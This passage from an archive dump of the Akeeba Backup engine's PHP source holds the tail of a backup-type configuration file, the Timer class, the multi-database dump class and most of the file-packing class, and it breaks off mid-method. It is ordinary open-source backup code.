    "volatile.scripting.dbonly.db.skipextradb": "1",
    "volatile.scripting.dbonly.db.abstractnames": "0",
    "volatile.scripting.dbonly.db.dropstatements": "1",
    "volatile.scripting.dbonly.db.delimiterstatements": "1",
    "volatile.scripting.dbonly.core.forceextension": ".sql",
    "volatile.scripting.dbonly.core.createarchive": "0",

    "volatile.scripting.fileonly.chain": "init|packing|finale",
    "volatile.scripting.fileonly.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_FILEONLY",
    "volatile.scripting.fileonly.core.createarchive": "1",

    "volatile.scripting.alldb.chain": "init|installer|packdb|finale",
    "volatile.scripting.alldb.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_ALLDB",
    "volatile.scripting.alldb.db.tempfile": "temporary",
    "volatile.scripting.alldb.db.saveasname": "normal",
    "volatile.scripting.alldb.db.databasesini": "1",
    "volatile.scripting.alldb.db.skipextradb": "0",
    "volatile.scripting.alldb.db.abstractnames": "1",
    "volatile.scripting.alldb.db.dropstatements": "0",
    "volatile.scripting.alldb.db.delimiterstatements": "0",
    "volatile.scripting.alldb.db.finalizearchive": "1",
    "volatile.scripting.alldb.core.createarchive": "1",

    "volatile.scripting.incfile.chain": "init|packing|finale",
    "volatile.scripting.incfile.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_INCFILE",
    "volatile.scripting.incfile.filter.incremental": "1",

    "volatile.scripting.incfull.chain": "init|installer|packdb|packing|finale",
    "volatile.scripting.incfull.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_INCFULL",
    "volatile.scripting.incfull.db.saveasname": "normal",
    "volatile.scripting.incfull.db.databasesini": "1",
    "volatile.scripting.incfull.db.skipextradb": "0",
    "volatile.scripting.incfull.db.abstractnames": "1",
    "volatile.scripting.incfull.db.dropstatements": "0",
    "volatile.scripting.incfull.db.delimiterstatements": "0",
    "volatile.scripting.incfull.core.createarchive": "1",
    "volatile.scripting.incfull.filter.incremental": "1"
}com_akeeba/BackupEngine/Core/Timer.php000060400000014251152455305260013634 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Timer class
 */
class Timer
{

	/** @var float Maximum execution time allowance per step */
	private $max_exec_time = null;

	/** @var int Timestamp of execution start */
	private $start_time = null;

	/**
	 * Public constructor, creates the timer object and calculates the execution time limits
	 *
	 * @param   int|null  $maxExecTime  Maximum execution time, in seconds (minimum 1 second)
	 * @param   int|null  $bias         Execution time bias, in percentage points (10-100)
	 */
	public function __construct(?int $maxExecTime = null, ?int $bias = null)
	{
		// Initialize start time
		$this->start_time = $this->microtime_float();

		// Make sure we have max execution time and execution time bias or use the ones configured in the backup profile
		$configuration = Factory::getConfiguration();
		$maxExecTime   = $maxExecTime ?? (int) $configuration->get('akeeba.tuning.max_exec_time', 14);
		$bias          = $bias ?? (int) $configuration->get('akeeba.tuning.run_time_bias', 75);

		// Make sure both max exec time and bias are positive integers within the allowed range of values
		$maxExecTime = max(1, $maxExecTime);
		$bias        = min(100, max(10, $bias));

		$this->max_exec_time = $maxExecTime * $bias / 100;
	}

	/**
	 * Wake-up function to reset internal timer when we get unserialized
	 */
	public function __wakeup()
	{
		// Re-initialize start time on wake-up
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Gets the number of seconds left, before we hit the "must break" threshold
	 *
	 * @return  float
	 */
	public function getTimeLeft()
	{
		return $this->max_exec_time - $this->getRunningTime();
	}

	/**
	 * Gets the time elapsed since object creation/unserialization, effectively how
	 * long Akeeba Engine has been processing data
	 *
	 * @return float
	 */
	public function getRunningTime()
	{
		return $this->microtime_float() - $this->start_time;
	}

	/**
	 * Enforce the minimum execution time
	 *
	 * @param   bool  $log              Should I log what I'm doing? Default is true.
	 * @param   bool  $serverSideSleep  Should I sleep on the server side? If false we return the amount of time to
	 *                                  wait in msec
	 *
	 * @return  int Wait time to reach min_execution_time in msec
	 */
	public function enforce_min_exec_time($log = true, $serverSideSleep = true)
	{
		// Try to get a sane value for PHP's maximum_execution_time INI parameter
		if (@function_exists('ini_get'))
		{
			$php_max_exec = @ini_get("maximum_execution_time");
		}
		else
		{
			$php_max_exec = 10;
		}
		if (($php_max_exec == "") || ($php_max_exec == 0))
		{
			$php_max_exec = 10;
		}
		// Decrease $php_max_exec time by 500 msec we need (approx.) to tear down
		// the application, as well as another 500msec added for rounding
		// error purposes. Also make sure this is never gonna be less than 0.
		$php_max_exec = max($php_max_exec * 1000 - 1000, 0);

		// Get the "minimum execution time per step" Akeeba Backup configuration variable
		$configuration = Factory::getConfiguration();
		$minexectime   = $configuration->get('akeeba.tuning.min_exec_time', 0);
		if (!is_numeric($minexectime))
		{
			$minexectime = 0;
		}

		// Make sure we are not over PHP's time limit!
		if ($minexectime > $php_max_exec)
		{
			$minexectime = $php_max_exec;
		}

		// Get current running time
		$elapsed_time = $this->getRunningTime() * 1000;

		$clientSideSleep = 0;

		// Only run a sleep delay if we haven't reached the minexectime execution time
		if (($minexectime > $elapsed_time) && ($elapsed_time > 0))
		{
			$sleep_msec = (int)($minexectime - $elapsed_time);

			if (!$serverSideSleep)
			{
				Factory::getLog()->debug("Asking client to sleep for $sleep_msec msec");
				$clientSideSleep = $sleep_msec;
			}
			elseif (function_exists('usleep'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using usleep()");
				}
				usleep(1000 * $sleep_msec);
			}
			elseif (function_exists('time_nanosleep'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using time_nanosleep()");
				}
				$sleep_sec  = floor($sleep_msec / 1000);
				$sleep_nsec = 1000000 * ($sleep_msec - ($sleep_sec * 1000));
				time_nanosleep($sleep_sec, $sleep_nsec);
			}
			elseif (function_exists('time_sleep_until'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using time_sleep_until()");
				}
				$until_timestamp = time() + $sleep_msec / 1000;
				time_sleep_until($until_timestamp);
			}
			elseif (function_exists('sleep'))
			{
				$sleep_sec = ceil($sleep_msec / 1000);
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_sec seconds, using sleep()");
				}
				sleep($sleep_sec);
			}
		}
		elseif ($elapsed_time > 0)
		{
			// No sleep required, even if user configured us to be able to do so.
			if ($log)
			{
				Factory::getLog()->debug("No need to sleep; execution time: $elapsed_time msec; min. exec. time: $minexectime msec");
			}
		}

		return $clientSideSleep;
	}

	/**
	 * Reset the timer. It should only be used in CLI mode!
	 */
	public function resetTime()
	{
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Returns the current timestamp in decimal seconds
	 */
	protected function microtime_float()
	{
		[$usec, $sec] = explode(" ", microtime());

		return ((float) $usec + (float) $sec);
	}
}
com_akeeba/BackupEngine/Core/Domain/Db.php000060400000025254152455305260014315 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Dump\Base as DumpBase;
use Akeeba\Engine\Factory;
use RuntimeException;

/**
 * Multiple database backup engine.
 */
final class Db extends Part
{
	/** @var array A list of the databases to be packed */
	private $database_list = [];

	/** @var array The current database configuration data */
	private $database_config = null;

	/** @var DumpBase The current dumper engine used to backup tables */
	private $dump_engine = null;

	/** @var string The contents of the databases.json file */
	private $databases_json = '';

	/** @var array An array containing the database definitions of all dumped databases so far */
	private $dumpedDatabases = [];

	/** @var int Total number of databases left to be processed */
	private $total_databases = 0;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Implements the getProgress() percentage calculation based on how many
	 * databases we have fully dumped and how much of the current database we
	 * have dumped.
	 *
	 * @return  float
	 */
	public function getProgress()
	{
		if (!$this->total_databases)
		{
			return 0;
		}

		// Get the overall percentage (based on databases fully dumped so far)
		$remaining_steps = count($this->database_list);
		$remaining_steps++;
		$overall = 1 - ($remaining_steps / $this->total_databases);

		// How much is this step worth?
		$this_max = 1 / $this->total_databases;

		// Get the percentage done of the current database
		$local = is_object($this->dump_engine) ? $this->dump_engine->getProgress() : 0;

		$percentage = $overall + $local * $this_max;

		if ($percentage < 0)
		{
			$percentage = 0;
		}
		elseif ($percentage > 1)
		{
			$percentage = 1;
		}

		return $percentage;
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Preparing instance");

		// Populating the list of databases
		$this->populate_database_list();

		$this->total_databases = count($this->database_list);

		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Make sure we have a dumper instance loaded!
		if (is_null($this->dump_engine) && !empty($this->database_list))
		{
			Factory::getLog()->debug(__CLASS__ . " :: Iterating next database");

			// Reset the volatile key holding the table names for this database
			Factory::getConfiguration()->set('volatile.database.table_names', []);

			// Create a new instance
			$this->dump_engine = Factory::getDumpEngine(true);

			// Configure the dumper instance and pass on the volatile database root registry key
			$registry = Factory::getConfiguration();
			$rootkeys = array_keys($this->database_list);
			$root     = array_shift($rootkeys);
			$registry->set('volatile.database.root', $root);

			$this->database_config                         = array_shift($this->database_list);
			$this->database_config['root']                 = $root;
			$this->database_config['process_empty_prefix'] = ($root == '[SITEDB]') ? true : false;

			Factory::getLog()->debug(sprintf("%s :: Now backing up %s (%s)", __CLASS__, $root, $this->database_config['database']));

			$this->dump_engine->setup($this->database_config);
		}
		elseif (is_null($this->dump_engine) && empty($this->database_list))
		{
			throw new RuntimeException('Current dump engine died while resuming the step');
		}

		// Try to step the instance
		$retArray = $this->dump_engine->tick();

		// Error propagation
		$this->lastException = $retArray['ErrorException'];

		if (!is_null($this->lastException))
		{
			throw $this->lastException;
		}

		$this->setStep($retArray['Step']);
		$this->setSubstep($retArray['Substep']);

		// Check if the instance has finished
		if (!$retArray['HasRun'])
		{
			// Set the number of parts
			$this->database_config['parts'] = $this->dump_engine->partNumber + 1;

			// Push the list of tables in the database into the definition of the last database backed up
			$this->database_config['tables'] = Factory::getConfiguration()->get('volatile.database.table_names', []);
			Factory::getConfiguration()->set('volatile.database.table_names', []);

			// Get the (possibly updated) database table name prefix
			$this->database_config['prefix'] = $this->dump_engine->getPrefix();

			// Push the definition of the last database backed up into dumpedDatabases
			array_push($this->dumpedDatabases, $this->database_config);

			// Go to the next entry in the list and dispose the old AkeebaDumperDefault instance
			$this->dump_engine = null;

			// Are we past the end of the list?
			if (empty($this->database_list))
			{
				Factory::getLog()->debug(__CLASS__ . " :: No more databases left to iterate");
				$this->setState(self::STATE_POSTRUN);
			}
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);

		// If we are in db backup mode, don't create a databases.json
		$configuration = Factory::getConfiguration();

		if (!Factory::getEngineParamsProvider()->getScriptingParameter('db.databasesini', 1))
		{
			Factory::getLog()->debug(__CLASS__ . " :: Skipping databases.json");
		}
		// Create the databases.json contents
		// P.A. This still has the old name with the "ini" string. That's for legacy support. Must update it in the future
		elseif ($this->installerSettings->databasesini)
		{
			$this->createDatabasesJSON();

			Factory::getLog()->debug(__CLASS__ . " :: Creating databases.json");

			// Create a new string
			$databasesJSON = json_encode($this->databases_json, JSON_PRETTY_PRINT);

			Factory::getLog()->debug(__CLASS__ . " :: Writing databases.json contents");

			$archiver        = Factory::getArchiverEngine();
			$virtualLocation = (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'short') ? '' : $this->installerSettings->sqlroot;
			$archiver->addFileVirtual('databases.json', $virtualLocation, $databasesJSON);
		}

		// On alldb mode, we have to finalize the archive as well
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.finalizearchive', 0))
		{
			Factory::getLog()->info("Finalizing database dump archive");

			$archiver = Factory::getArchiverEngine();
			$archiver->finalize();
		}

		// In CLI mode we'll also close the database connection
		if (defined('AKEEBACLI'))
		{
			Factory::getLog()->info("Closing the database connection to the main database");
			Factory::unsetDatabase();
		}
	}

	/**
	 * Populates database_list with the list of databases in the settings
	 *
	 * @return void
	 */
	protected function populate_database_list()
	{
		// Get database inclusion filters
		$filters             = Factory::getFilters();
		$this->database_list = $filters->getInclusions('db');

		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.skipextradb', 0))
		{
			// On database only backups we prune extra databases
			Factory::getLog()->debug(__CLASS__ . " :: Adding only main database");

			if (count($this->database_list) > 1)
			{
				$this->database_list = array_shift($this->database_list);
			}
		}
	}

	protected function createDatabasesJSON()
	{
		// caching databases.json contents
		Factory::getLog()->debug(__CLASS__ . " :: Creating databases.json data");

		// Create a new array
		$this->databases_json = [];

		$registry = Factory::getConfiguration();

		$blankOutPass = $registry->get('engine.dump.common.blankoutpass', 0);
		$siteRoot     = $registry->get('akeeba.platform.newroot', '');

		// Loop through databases list
		foreach ($this->dumpedDatabases as $definition)
		{
			$section = basename($definition['dumpFile']);

			$dboInstance = Factory::getDatabase($definition);
			$type        = $dboInstance->name;
			$tech        = $dboInstance->getDriverType();

			// If the database is a sqlite one, we have to process the database name which contains the path
			// At the moment we only handle the case where the db file is UNDER site root
			if ($tech == 'sqlite')
			{
				$definition['database'] = str_replace($siteRoot, '#SITEROOT#', $definition['database']);
			}

			$this->databases_json[$section] = [
				'dbtype'                => $type,
				'dbtech'                => $tech,
				'dbname'                => $definition['database'],
				'sqlfile'               => $definition['dumpFile'],
				'marker'                => "\n/**ABDB**/",
				'dbhost'                => $definition['host'] ?? '',
				'dbport'                => $definition['port'] ?? '',
				'dbsocket'              => $definition['socket'] ?? '',
				'dbuser'                => $definition['username'] ?? '',
				'dbpass'                => $definition['password'] ?? '',
				'prefix'                => $definition['prefix'] ?? '',
				'dbencryption'          => $definition['dbencryption'] ?? 0,
				'dbsslcipher'           => $definition['dbsslcipher'] ?? '',
				'dbsslca'               => $definition['dbsslca'] ?? '',
				'dbsslkey'              => $definition['dbsslkey'] ?? '',
				'dbsslcert'             => $definition['dbsslcert'] ?? '',
				'dbsslverifyservercert' => $definition['dbsslverifyservercert'] ?? 0,
				'parts'                 => $definition['parts'],
				'tables'                => $definition['tables'],
			];

			if ($blankOutPass)
			{
				$this->databases_json[$section]['dbuser']    = '';
				$this->databases_json[$section]['dbpass']    = '';
				$this->databases_json[$section]['dbsslca']   = '';
				$this->databases_json[$section]['dbsslkey']  = '';
				$this->databases_json[$section]['dbsslcert'] = '';
			}
		}
	}
}
com_akeeba/BackupEngine/Core/Domain/Pack.php000060400000106550152455305260014645 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Archiver\Base as BaseArchiverClass;
use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Configuration;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;
use RuntimeException;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * Packing engine. Takes care of putting gathered files (the file list) into
 * an archive.
 */
final class Pack extends Part
{
	/** @var array Directories left to be scanned */
	private $directory_list;

	/** @var array Files left to be put into the archive */
	private $file_list;

	/**
	 * Have we finished scanning all subdirectories of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_subdir_scanning = false;

	/**
	 * Have we finished scanning all files of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_file_scanning = true;

	/**
	 * Is the current directory completely excluded?
	 *
	 * @var boolean
	 */
	private $excluded_folder = false;

	/**
	 * Are the current directory's subdirectories excluded?
	 *
	 * @var boolean
	 */
	private $excluded_subdirectories = false;

	/**
	 * Are the current directory's files excluded?
	 *
	 * @var boolean
	 */
	private $excluded_files = false;

	/** @var   string  Path to add to scanned files */
	private $path_prefix;

	/** @var   string  Path to remove from scanned files */
	private $remove_path_prefix;

	/** @var   array   An array of root directories to scan */
	private $root_definitions = [];

	/** @var   integer  How many files have been processed in the current step */
	private $processed_files_counter;

	/** @var   string  Current directory being scanned */
	private $current_directory;

	/** @var   integer|null  The position in the file list scanning */
	private $getFiles_position = null;

	/** @var   integer|null  The position in the folder list scanning */
	private $getFolders_position = null;

	/** @var   string  Current root directory being processed */
	private $root = '[SITEROOT]';

	/** @var   integer  Total root directories to scan, used in percentage calculation */
	private $total_roots = 0;

	/** @var   integer  Total files to process */
	private $total_files = 0;

	/** @var   integer  Total files already processed */
	private $done_files = 0;

	/** @var   integer  Total folders to process */
	private $total_folders = 0;

	/** @var   integer  Total folders already processed */
	private $done_folders = 0;

	/**
	 * Public constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: new instance");
	}

	/**
	 * Immediate post-processing of a part file that's just been completed.
	 *
	 * This method returns false when no post-processing was possible, or if it failed.
	 *
	 * The method returns true when it's post-processed a part file, even if such post-processing has only been partial.
	 *
	 * @param   BaseArchiverClass  $archiver       The archiver engine
	 * @param   Configuration      $configuration  Reference to the Factory configuration object
	 *
	 * @return  bool  True to indicate our caller should return immediately.
	 */
	public static function postProcessDonePartFile(BaseArchiverClass $archiver, Configuration $configuration)
	{
		// Get configuration parameters
		$postprocEngine               = Factory::getPostprocEngine();
		$allowImmediatePostProcessing = $configuration->get('engine.postproc.common.after_part', 0);
		$filename                     = $configuration->get('volatile.postproc.filename', null);
		$shouldDeleteProcessedPart    = $configuration->get('engine.postproc.common.delete_after', false);
		$shouldAbortOnFailed          = $configuration->get('engine.postproc.common.abort_on_fail', false);
		$engineCanDeleteFiles         = $postprocEngine->isFileDeletionAfterProcessingAdvisable();

		// Is the immediate post-processing disabled? Return false.
		if (!$allowImmediatePostProcessing)
		{
			return false;
		}

		// Are we continuing the post-processing of a previous file?
		if (!empty($filename))
		{
			Factory::getLog()->info(sprintf("Continuing immediate post-processing of part file %s", basename($filename)));
		}

		// Do we have a NEW file to post-process?
		if (empty($filename) && !empty($archiver->finishedPart))
		{
			$filename = array_shift($archiver->finishedPart);

			if (!empty($filename))
			{
				Factory::getLog()->info(sprintf("Starting immediate post-processing of part file %s", basename($filename)));
			}
		}

		// Not continuing post-processing and no new file to process? Return false and let the caller carry on.
		if (empty($filename))
		{
			return false;
		}

		// Store the file to post-process in volatile storage
		$configuration->set('volatile.postproc.filename', $filename);

		// Try to post-process the file
		$timer     = Factory::getTimer();
		$startTime = $timer->getRunningTime();

		try
		{
			$postProcessingResult = $postprocEngine->processPart($filename);
			$endTime              = $timer->getRunningTime();
			$stepTime             = $endTime - $startTime;
			$notEnoughTimeLeft    = $timer->getTimeLeft() < $stepTime;

			/**
			 * FINISHED POST-PROCESSING THE FILE
			 */
			if ($postProcessingResult === true)
			{
				Factory::getLog()->info('Successfully processed file ' . basename($filename));

				// Indicate the file has finished post-processing
				$configuration->set('volatile.postproc.filename', null);

				// Add this part's size to the volatile storage variable holding the total size of the backup set
				$volatileTotalSize = $configuration->get('volatile.engine.archiver.totalsize', 0);
				$volatileTotalSize += (int) @filesize($filename);

				$configuration->set('volatile.engine.archiver.totalsize', $volatileTotalSize);

				// If the engine recommends breaking the step after post-processing let's set the break flag
				if ($postprocEngine->recommendsBreakAfter())
				{
					$configuration->set('volatile.breakflag', true);
				}

				// If I don't need to delete the post-processed part just return
				if (!$shouldDeleteProcessedPart)
				{
					return true;
				}

				if (!$engineCanDeleteFiles)
				{
					return true;
				}

				Factory::getLog()->debug(sprintf("Deleting post-processed file %s", basename($filename)));
				Platform::getInstance()->unlink($filename);

				return true;
			}

			/**
			 * MORE WORK REQUIRED
			 */
			Factory::getLog()->info(sprintf("More post-processing steps required for file %s", basename($filename)));

			/**
			 * If the time left is not at least as much as the previous post-processing step took us we break the step.
			 * This prevents a time-out trying to post-process another chunk of the file.
			 */
			if ($notEnoughTimeLeft)
			{
				$configuration->set('volatile.breakflag', true);
			}
		}
		/**
		 * POST-PROCESSING FAILED
		 */
		catch (Exception $e)
		{
			// Indicate no further processing is possible on this file.
			$configuration->set('volatile.postproc.filename', null);

			Factory::getLog()->warning('Failed to process file ' . basename($filename));
			Factory::getLog()->warning('Error received from the post-processing engine:');

			self::logErrorsFromException($e, $shouldAbortOnFailed ? LogLevel::ERROR : LogLevel::WARNING);

			// Fail the backup if we're configured to do so
			if ($shouldAbortOnFailed)
			{
				throw new ErrorException(sprintf('Failed to process backup archive file %s', basename($filename)));
			}

			return false;
		}

		// No further processing necessary
		return true;
	}

	/**
	 * Implements the getProgress() percentage calculation based on how many
	 * roots we have fully backed up and how much of the current root we
	 * have backed up.
	 */
	public function getProgress()
	{
		if (empty($this->total_roots))
		{
			return 0;
		}

		// Get the overall percentage (based on databases fully dumped so far)
		$remaining_steps = count($this->root_definitions);
		$remaining_steps++;
		$overall = 1 - ($remaining_steps / $this->total_roots);

		// How much is this step worth?
		$this_max = 1 / $this->total_roots;

		// Get the percentage done of the current root. Hey, the calculation *is* dodgy, I know it!
		$local = 0;
		if ($this->total_files > 0)
		{
			$local += 0.05 * $this->done_files / $this->total_files;
		}
		if ($this->total_folders > 0)
		{
			$local += 0.95 * $this->done_folders / $this->total_folders;
		}

		$percentage = $overall + $local * $this_max;
		if ($percentage < 0)
		{
			$percentage = 0;
		}
		if ($percentage > 1)
		{
			$percentage = 1;
		}

		return $percentage;
	}

	/**
	 * Implements the _prepare() abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Starting _prepare()");

		$registry = Factory::getConfiguration();

		// Get a list of directories to include
		Factory::getLog()->debug(__CLASS__ . " :: Getting directory inclusion filters");
		$filters                = Factory::getFilters();
		$this->root_definitions = $filters->getInclusions('dir');

		$this->total_roots = count($this->root_definitions);

		// Add the mapping text file if there are external directories defined!
		if (count($this->root_definitions) > 1)
		{
			// The site's root is the last directory to be backed up. Um, no,
			// this is not what we need
			$temp = array_pop($this->root_definitions);
			array_unshift($this->root_definitions, $temp);

			// We add a README.txt file in our virtual directory...
			Factory::getLog()->debug("Creating README.txt in the EFF virtual folder");
			$virtualContents = <<<ENDVCONTENT
This directory contains directories above the web site's root you chose to
include in the backup set.  This file helps you figure out which directory
in the backup  set corresponds to  which directory in the  original site's
structure. You'll have to restore these files manually!


ENDVCONTENT;

			$counter = 0;
			$vdir    = trim($registry->get('akeeba.advanced.virtual_folder'), '/') . '/';
			$effini  = ['eff' => []];

			$rootsToPack = array_filter(
				$this->root_definitions,
				function ($data) {
					return $data[0] != '[SITEROOT]';
				}
			);

			foreach ($rootsToPack as $dir)
			{
				$counter++;

				$test = trim($dir[1]);

				if ($test == '/')
				{
					$counter--;
					continue;
				}

				$virtualContents .= $dir[1] . "\tis the backup of\t" . $dir[0] . "\n";

				$effini['eff'][$dir[0]] = $vdir . $dir[1];
			}

			$effini = json_encode($effini, JSON_PRETTY_PRINT);

			// Add the file to our archive
			$archiver = Factory::getArchiverEngine();

			if ($counter >= 1)
			{
				$archiver->addFileVirtual('README.txt', $registry->get('akeeba.advanced.virtual_folder'), $virtualContents);
				$archiver->addFileVirtual('eff.json', $this->installerSettings->installerroot, $effini);
			}
			else
			{
				Factory::getLog()->debug("README.txt was not created; all EFF directories are being backed up to the archive's root");
			}
		}

		// Find the site's root element and shift it into the directory list
		$dir_definition = array_shift($this->root_definitions);
		$count          = 0;
		$max_dir_count  = count($this->root_definitions);
		while (!is_null($dir_definition[1]) && ($count < $max_dir_count))
		{
			$count++;
			array_push($this->root_definitions, $dir_definition);
			$dir_definition = array_shift($this->root_definitions);
		}

		// Settling with whatever we have, let's put it to use, shall we?
		$this->remove_path_prefix = $dir_definition[0]; // Remove absolute path to directory when storing the file
		if (is_null($dir_definition[1]))
		{
			$this->path_prefix = ''; // No added path for main site
			if (empty($dir_definition[0]))
			{
				$this->root = '[SITEROOT]';
			}
			else
			{
				$this->root = $dir_definition[0];
			}
		}
		else
		{
			$dir_definition[1] = trim($dir_definition[1]);
			if (empty($dir_definition[1]) || $dir_definition[1] == '/')
			{
				$this->path_prefix = '';
			}
			else
			{
				$this->path_prefix = $registry->get('akeeba.advanced.virtual_folder') . '/' . $dir_definition[1];
			}
			$this->root = $dir_definition[0];
		}
		// Translate the root into an absolute path
		$stock_dirs   = Platform::getInstance()->get_stock_directories();
		$absolute_dir = substr($this->root, 0);
		if (!empty($stock_dirs))
		{
			foreach ($stock_dirs as $key => $replacement)
			{
				$absolute_dir = str_replace($key, $replacement, $absolute_dir);
			}
		}
		$this->directory_list[]   = $absolute_dir;
		$this->remove_path_prefix = $absolute_dir;
		$registry                 = Factory::getConfiguration();
		$registry->set('volatile.filesystem.current_root', $absolute_dir);

		$this->done_subdir_scanning = true;
		$this->done_file_scanning   = true;
		$this->total_files          = 0;
		$this->done_files           = 0;
		$this->total_folders        = 0;
		$this->done_folders         = 0;

		$this->setState(self::STATE_PREPARED);

		Factory::getLog()->debug(__CLASS__ . " :: prepared");
	}

	// ============================================================================================
	// PRIVATE METHODS
	// ============================================================================================

	/**
	 * @return void
	 * @throws Exception
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep("-");
			$this->setSubstep("");

			return;
		}

		// If I'm done scanning files and subdirectories and there are no more files to pack get the next
		// directory. This block is triggered in the first step in a new root.
		if (empty($this->file_list) && $this->done_subdir_scanning && $this->done_file_scanning)
		{
			$this->progressMarkFolderDone();

			if (!$this->getNextDirectory())
			{
				if ($this->getNextRoot())
				{
					if (!$this->getNextDirectory())
					{
						return;
					}
				}
				else
				{
					return;
				}
			}
		}

		/**
		 * Automated tests override
		 *
		 * If the file .akeeba_engine_automated_tests_error file is present in the site's root I will throw an error.
		 */
		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		if (@file_exists($translated_root . '/.akeeba_engine_automated_tests_error'))
		{
			throw new RuntimeException("Akeeba Engine automated tests: I am throwing an error because the file .akeeba_engine_automated_tests_error is present in the site's root folder.");
		}

		// If I'm not done scanning for files and the file list is empty then scan for more files
		if (!$this->done_file_scanning && empty($this->file_list))
		{
			$this->scanFiles();
		}
		// If I have files left, pack them
		elseif (!empty($this->file_list))
		{
			$this->pack_files();
		}
		// If I'm not done scanning subdirectories, go ahead and scan some more of them
		elseif (!$this->done_subdir_scanning)
		{
			$this->scanSubdirs();
		}
		/**
		 * If we have excluded contained files or subdirectories BUT NOT the entire folder itself AND there are
		 * no files in this directory THEN add an empty directory to the archive.
		 **/
		elseif (
			($this->excluded_files || $this->excluded_subdirectories)
			&&
			!$this->excluded_folder
			&&
			empty($this->file_list)
		)
		{
			Factory::getLog()->info("Empty directory " . $this->current_directory . ' (files and directories are filtered)');

			$archiver = Factory::getArchiverEngine();

			if ($this->current_directory != $this->remove_path_prefix)
			{
				$archiver->addFile($this->current_directory, $this->remove_path_prefix, $this->path_prefix);
			}
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	protected function _finalize()
	{
		Factory::getLog()->info("Finalizing archive");
		$archive = Factory::getArchiverEngine();
		$archive->finalize();

		Factory::getLog()->debug("Archive is finalized");

